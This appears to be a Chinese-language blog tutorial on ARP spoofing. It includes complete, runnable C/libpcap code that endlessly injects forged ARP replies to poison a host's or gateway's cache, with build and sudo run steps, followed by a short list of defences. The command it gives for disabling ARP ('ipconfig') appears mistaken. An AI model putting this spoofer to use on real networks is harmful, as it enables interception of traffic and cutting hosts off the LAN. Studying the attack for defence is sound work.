ARP攻击和防护的研究

时间:2022-01-14 19:33:57

最近学习了一下arp攻击,也从网上查了一下有关这方面的知识。我看到,网上的ARP攻击基本上是基于socket编写的。我呢,是基于libpcap库,在linux下实现的ARP攻击。

ARP攻击,顾名思义吧,是发ARP包,攻击范围是限于局域网内。现在ARP攻击已基本上被大家了解、测试和采用策略防护。在这里,我要不厌其烦的再次叙述一遍了。

首先,我们都知道在局域网内,外网的数据包是通过mac地址来找到目标主机的(在Internet网上,是通过IP地址)。所以,数据包进入局域网内,就要通过查找数据包目的地址对应的主机的MAC地址,这样通过找到MAC地址然后将数据包发到对应的主机上。在局域网内,每个主机都有一个ARP缓存,在这个缓存里存放着IP地址对应的MAC地址,也包括其他主机的IP地址和对应的MAC地址。并且这个缓存是动态,它会通过学习来得到局域网内的其他主机的IP地址对应的MAC地址。这个学习就是通过发送ARP广播包。比如,局域网内的A主机想和局域网内的B主机通讯,首先,主机A需要查找其ARP缓存,如果有B主机的IP地址对应的MAC地址,那么就直接发送数据包;如果没有B主机的信息,那么就会想局域网内发送ARP广播包,B主机就会回应ARP广播包。这样的一个学习的过程是一种信任的关系,即A主机并不去验证B主机的ip地址对应的MAC地址是否是正确的。这样的一整信任关系,简化了这种学习的负载,但同时也为木马、病毒创造了空隙可钻了。如果,A主机的请求包,被攻击机C获取并不停的发送一个ARP欺骗,即发送一个ARP回应包,包的内容是B主机的ip地址对应MAC地址是C的MAC地址。这样,所有A发给B的数据包都会发到C主机上。这就是ARP欺骗,这时B主机也不能够上网,因为B主机发送请求包都没有回应,因为回应包都被C主机接收了(C也是被动接收的,因为大家都认为B的MAC地址就C主机的MAC地址,回应包都会发向C)。这时攻击局域网内一台主机,如果你想攻击局域网内的所有主机,那么你就攻击网关,告诉局域网内的主机网关的MAC地址就是你的IP对应的MAC地址。这样,局域网内的主机所有包都要经过你的主机。

特别提示,不建议这样做,我们只是拿出协议的缺陷或者漏洞来研究,为了是让TCP/IP协议变得更好,我的叙述不是让大家都学习协议的漏洞后都在实践中竞相的攻击,这样十分的不和谐,也不是我写这篇博文的初衷,我看到好多的学习网的同学也在研究ARP攻击和ND攻击,这篇博文希望能对他们有些帮助,仅用于学习研究,否则后果自负。

下面是一个ARP攻击的例子,在编译运行这个例子前,你的linux系统里需要安装libpcap库,至于该库如何安装请看我的其他博客,在另一篇博客里有详细的介绍。

 
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#include <unistd.h>#include <pcap.h>#define PACKET_SIZE  1024int main(int argc, char *argv[]){pcap_t *fp;char *dev, errbuf[PCAP_ERRBUF_SIZE];int rt;unsigned char packet[PACKET_SIZE] = {        /* The buffer of the packet which will be sent.*//* Ethernet II packet *//* destination mac */0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/* source mac */0x00, 0x1f, 0x16, 0xc1, 0x7c, 0x14,/* protocol type*/0x08, 0x06,/* Arp packet header *//* hardwire type, protocol type.*/0x00, 0x01, 0x08, 0x00,/* hardwire address size, protocol address size, operation type.*/0x06, 0x04, 0x00, 0x02,/* source MAC address */0x00, 0x1f, 0x16, 0xc1, 0x7c, 0x14,/* source ip address */59, 66, 24, 85,/*192, 168, 15, 58,*//* destination MAC address */0x00, 0x00, 0x00, 0x00, 0x00, 0x00,/* Destination ip address *//*192, 168, 15, 1*/59, 66, 24, 254};    /* * Set the packet of arp. *//* *  Find the default device on which to capture */if ((dev = pcap_lookupdev(errbuf)) == NULL) {fprintf(stderr, "pcap_lookupdev failed\n");exit(EXIT_FAILURE);}/* *  Open a device for capturing */if ((fp = pcap_open_live(dev, BUFSIZ, 1, -1, errbuf)) == (void *)0)  /* (void *)0 is equal to NULL. */{fprintf(stderr, "pcap_open_live failed\n");exit(EXIT_FAILURE);}/* * Transmit a packet */while (1) {    /* send packet continuously.*/if ((rt = pcap_inject(fp, packet, 42)) < 0)   /* The third argument is the real length of packet.*/{fprintf(stderr, "pcap_inject failed\n");exit(EXIT_FAILURE);}//usleep(100);}return 0;}

代码如上,其中需要注意的是,改ARP包的类型需要是一个回应包,即operation type 需要是0x00 , 0x02.(占两个字节)。因为0x00, 0x01是ARP请求包。上面的 source ip address是要攻击的主机的IP地址。

为了便于编译,我写了一个Makefile,下面是Makefile的内容:

src = $(wildcard *.c)
obj = $(patsubst %.c, %.o, $(src))

CFLAGS = -Wall -g

LDFLAGS = -lpcap -lm

TARGET = app

all: $(TARGET)

$(TARGET):$(obj)
$(CC) $^ -o $@ $(LDFLAGS)
%.o:%.c
$(CC) -c $< -o $@ $(CFLAGS)

.PHONY: clean

clean:
$(RM) $(TARGET)
$(RM) $(obj)
$(RM) *~
$(RM) a.out

只需要运行make就可以实现对上面的源文件进行编译,生成可执行文件app。对于该可执行文件执行时,需要root权限,所以你可以借用root权限,即sudo ./app执行。

特别提示,该方式的攻击对无线网络的影响不大,我通过尝试攻击无线网络中一台主机发现影响不大。

下面可以研究一下如何防护ARP攻击,方式主要有以下几种吧:

1. 建立静态ARP表,该方法比较有效,而且对系统的影响不大,缺点是破坏了动态ARP协议。

2. 禁止ARP,这样网卡就不会发送和接收ARP包,但使用前提是使用静态的ARP表,如果不在ARP表中的计算机将不能通讯。禁止的方法是:ipconfig interface -arp

3. 现在的杀毒软件都能够对ARP攻击起到一定的防护作用。